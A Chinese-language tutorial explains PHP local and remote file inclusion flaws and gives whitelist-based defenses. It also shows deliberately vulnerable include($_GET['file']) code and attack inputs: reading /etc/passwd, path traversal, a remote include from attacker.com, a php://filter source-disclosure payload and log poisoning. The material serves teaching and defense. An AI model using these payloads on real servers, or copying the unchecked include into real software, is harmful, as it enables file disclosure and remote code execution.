当前位置: 首页 > article >正文

PHP文件包含漏洞

文章目录

  • 文件包含漏洞的类型
    • 本地文件包含
    • 远程文件包含
  • 利用方法
    • 路径遍历
    • 伪协议
    • 日志文件注入
  • 防御方法

PHP 文件包含漏洞(File Inclusion Vulnerability)是一种常见的 Web 安全漏洞,发生在用户对 PHP 文件包含函数(如 include、require、include_once、require_once)的输入缺乏过滤和验证时。攻击者可以利用这个漏洞来包含服务器上任意文件,甚至是远程文件(如果服务器允许),从而获取敏感信息或执行任意代码。

文件包含漏洞的类型

本地文件包含

攻击者可以通过在输入中加入服务器上的文件路径,强行包含本地文件,从而读取敏感文件的内容。

<?php
$file = $_GET['file'];
include($file); // 没有对 $file 做任何检查
?>

如果用户输入 ?file=/etc/passwd,服务器可能会包含该文件,导致文件内容暴露。

远程文件包含

如果服务器配置允许 allow_url_include,攻击者可以包含远程文件。远程文件可以是攻击者自己创建的恶意脚本。

<?php
$file = $_GET['file'];
include($file);
?>

输入 ?file=http://attacker.com/malicious.php 可以让服务器执行远程脚本内容。

利用方法

路径遍历

路径遍历可以用来访问服务器上的敏感文件。

?file=../../../../etc/passwd

伪协议

利用 PHP 本身支持的伪协议,将其他格式的内容转换为 PHP 代码。
例如,可以使用 php://filter 读取文件源码:

?file=php://filter/convert.base64-encode/resource=index.php

日志文件注入

如果攻击者能够将数据写入服务器的日志文件(例如通过访问带有特殊 User-Agent 的页面),可以利用包含漏洞读取该日志文件,执行其中的恶意代码。

防御方法

  1. 严格控制文件路径:如果确实需要动态包含文件,确保输入仅包含在特定的安全目录中。

  2. 白名单机制:限定允许包含的文件列表,拒绝不在白名单中的文件。

  3. 禁用 allow_url_include:在服务器配置中将 allow_url_include 设置为 Off,以防止远程文件包含。

  4. 编码检查和清理:对输入进行严格的编码检查,避免通过 URL 编码、特殊字符等方式绕过过滤。

  5. 避免使用用户输入直接控制文件包含:如果可以,尽量避免直接包含用户控制的文件路径,将路径硬编码在程序中。

示例防御代码

<?php
$whitelist = ['about.php', 'contact.php'];
$file = $_GET['file'];
if (in_array($file, $whitelist)) {
    include($file);
} else {
    echo "Invalid file!";
}
?>

这种白名单方法确保只有指定的文件才能被包含,降低了文件包含漏洞的风险。


http://www.kler.cn/a/376245.html

相关文章:

  • Android启动流程_Init阶段
  • FPGA时序分析和约束学习笔记(3、Timequest时序路径详解和优化)
  • vue3项目中el-tooltip实现内容溢出时再显示,并设置tip的最大宽度
  • 适配器模式适用的场景
  • Springboot 整合 Java DL4J 实现文本分类系统
  • SWAT-MODFLOW地表水与地下水耦合实践技术
  • elf格式分析和动态库的链接过程
  • Java - 免费图文识别_Java_免费_图片转文字_文字识别_spring ai_spring ai alibaba
  • 群控系统服务端开发模式-应用开发-上传工厂开发
  • PySpark和Hadoop
  • 前端加密解密
  • 基于springboot的社区团购系统设计与实现
  • 【数据结构-邻项消除】力扣2216. 美化数组的最少删除数
  • [STM32]从零开始的IIC协议讲解与设备驱动
  • 【周末推荐】Windows无缝连接iPhone
  • HCIA(ACL)
  • 如何看待长周期项目?
  • GraphQL 与 Elasticsearch 相遇:使用 Hasura DDN 构建可扩展、支持 AI 的应用程序
  • uaGate SI——实现OT与IT的安全连接
  • [Ubuntu] 文件/目录权限更改
  • 【零售和消费品&存货】超市购物车商品检测系统源码&数据集全套:改进yolo11-DySnakeConv
  • C++ [项目] 躺平发育
  • java stream流的使用
  • 使用 firewall-cmd 管理 Linux 防火墙
  • 飞牛NAS docker compose环境下自建远程桌面服务:rustdesk
  • 深度学习:交叉熵损失(Cross Entropy Loss)